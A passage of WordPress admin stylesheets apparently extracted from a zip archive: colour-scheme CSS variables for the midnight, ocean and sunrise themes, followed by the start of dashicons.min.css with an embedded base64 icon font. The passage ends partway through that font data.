  --wp-admin-theme-color--rgb:225, 77, 67;
  --wp-admin-theme-color-darker-10:#dd382d;
  --wp-admin-theme-color-darker-10--rgb:221, 56, 45;
  --wp-admin-theme-color-darker-20:#d02c21;
  --wp-admin-theme-color-darker-20--rgb:208, 44, 33;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-midnight{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-ocean{
  --wp-admin-theme-color:#627c83;
  --wp-admin-theme-color--rgb:98, 124, 131;
  --wp-admin-theme-color-darker-10:#576e74;
  --wp-admin-theme-color-darker-10--rgb:87, 110, 116;
  --wp-admin-theme-color-darker-20:#4c6066;
  --wp-admin-theme-color-darker-20--rgb:76, 96, 102;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-ocean{
    --wp-admin-border-width-focus:1.5px;
  }
}

body.admin-color-sunrise{
  --wp-admin-theme-color:#dd823b;
  --wp-admin-theme-color--rgb:221, 130, 59;
  --wp-admin-theme-color-darker-10:#d97426;
  --wp-admin-theme-color-darker-10--rgb:217, 116, 38;
  --wp-admin-theme-color-darker-20:#c36922;
  --wp-admin-theme-color-darker-20--rgb:195, 105, 34;
  --wp-admin-border-width-focus:2px;
}
@media (min-resolution:192dpi){
  body.admin-color-sunrise{
    --wp-admin-border-width-focus:1.5px;
  }
}PK1Xd[�gֈ���dashicons.min.cssnu�[���/*! This file is auto-generated */
@font-face{font-family:dashicons;src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800");src:url("../fonts/dashicons.eot?99ac726223c749443b642ce33df8b800#iefix") format("embedded-opentype"),url("data:application/x-font-woff;charset=utf-8;base64,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